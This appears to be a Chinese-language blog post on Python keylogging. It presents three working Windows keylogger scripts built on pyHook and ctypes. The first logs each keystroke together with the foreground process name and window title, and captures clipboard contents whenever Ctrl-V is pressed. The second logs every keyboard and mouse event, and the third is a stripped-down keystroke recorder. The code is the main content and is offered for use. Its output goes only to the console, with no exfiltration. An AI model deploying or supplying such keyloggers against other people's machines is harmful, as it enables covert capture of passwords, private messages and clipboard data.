python键盘记录

要求

问题 

代码1

#-*- coding: utf-8 -*-

from ctypes import *
import pythoncom
import pyHook
import win32clipboard

user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None

def get_current_process():
# 获得窗口句柄
hwnd = user32.GetForegroundWindow()

# 获得进程ID
pid = c_ulong(0)
user32.GetWindowThreadProcessID(hwnd, byref(pid)) #byref()是用来传递引用参数 http://blog.csdn.net/linda1000/article/details/12623527 
# 保存当前进程ID
process_id = "%d" % pid.value
print process_id

# 申请内存
executable = create_string_buffer("\x00" * 512)

h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)

psapi.GetModuleBaseName(h_process, None, byref(executable), 512)

# 读取窗口标题
window_title = create_string_buffer("\x00" * 512)
length = user32.GetWindowTextA(hwnd, byref(window_title), 512)

# 输出
print "\n [ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value)

# 关闭句柄
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)

def KeyStroke(event):

global current_window

# 检查目标是否切换窗口
if event.WindowName != current_window:
current_window = event.WindowName
get_current_process()

# 检测按键是否为常规键
if event.Ascii > 32 and event.Ascii < 127:
print chr(event.Ascii),

else:
# 如果输入为ctrl-v 则获取剪贴板内容
if event.Key == "V":
win32clipboard.OpenClipboard()
pasted_value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()

print "[PASTE] - %s" % (pasted_value),

else:
print "[%s]" % event.Key,

return True

# 创建和注册钩子函数管理器
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke

# 注册键盘记录的钩子并永久执行
kl.HookKeyboard()
pythoncom.PumpMessages()

代码2（键盘+鼠标）

# -*- coding: utf-8 -*-
import pythoncom
import pyHook

def onMouseEvent(event):
# 监听鼠标事件
print "MessageName:", event.MessageName
print "Message:", event.Message
print "Time:", event.Time
print "Window:", event.Window
print "WindowName:", event.WindowName
print "Position:", event.Position
print "Wheel:", event.Wheel
print "Injected:", event.Injected
print "---"

# 返回 True 以便将事件传给其它处理程序
# 注意，这儿如果返回 False ，则鼠标事件将被全部拦截
# 也就是说你的鼠标看起来会僵在那儿，似乎失去响应了
return True

def onKeyboardEvent(event):
# 监听键盘事件
print "MessageName:", event.MessageName
print "Message:", event.Message
print "Time:", event.Time
print "Window:", event.Window
print "WindowName:", event.WindowName
print "Ascii:", event.Ascii, chr(event.Ascii)
print "Key:", event.Key
print "KeyID:", event.KeyID
print "ScanCode:", event.ScanCode
print "Extended:", event.Extended
print "Injected:", event.Injected
print "Alt", event.Alt
print "Transition", event.Transition
print "---"

# 同鼠标事件监听函数的返回值
return True

def main():
# 创建一个“钩子”管理对象
hm = pyHook.HookManager()

# 监听所有键盘事件
hm.KeyDown = onKeyboardEvent
# 设置键盘“钩子”
hm.HookKeyboard()

# 监听所有鼠标事件
hm.MouseAll = onMouseEvent
# 设置鼠标“钩子”
hm.HookMouse()

# 进入循环，如不手动关闭，程序将一直处于监听状态
pythoncom.PumpMessages()

if __name__ == "__main__":
main()

代码2简洁版（记录键盘 简单粗暴）

# -*- coding: utf-8 -*-
import pythoncom
import pyHook
def onKeyboardEvent(event):
# 监听键盘事件
print "Key:", event.Key
def main():
# 创建一个“钩子”管理对象
hm = pyHook.HookManager()

# 监听所有键盘事件
hm.KeyDown = onKeyboardEvent
# 设置键盘“钩子”
hm.HookKeyboard()

# 进入循环，如不手动关闭，程序将一直处于监听状态
pythoncom.PumpMessages()

if __name__ == "__main__":
main()

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